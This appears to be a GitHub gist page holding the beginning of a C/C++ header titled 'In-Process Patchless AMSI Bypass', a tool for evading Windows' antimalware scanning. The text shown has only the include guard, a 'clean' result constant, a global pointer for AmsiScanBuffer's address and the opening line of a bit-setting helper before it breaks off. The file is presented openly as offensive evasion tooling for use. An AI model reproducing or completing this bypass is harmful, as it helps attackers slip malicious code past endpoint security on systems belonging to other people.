Skip to content

Instantly share code, notes, and snippets.

View nazli-p's full-sized avatar

Nazli Haghani nazli-p

View GitHub Profile
@nazli-p
nazli-p / patchless_amsi.h
Created August 26, 2023 16:06 — forked from CCob/patchless_amsi.h
In-Process Patchless AMSI Bypass
#ifndef PATCHLESS_AMSI_H
#define PATCHLESS_AMSI_H
#include <windows.h>
static const int AMSI_RESULT_CLEAN = 0;
PVOID g_amsiScanBufferPtr = nullptr;
unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {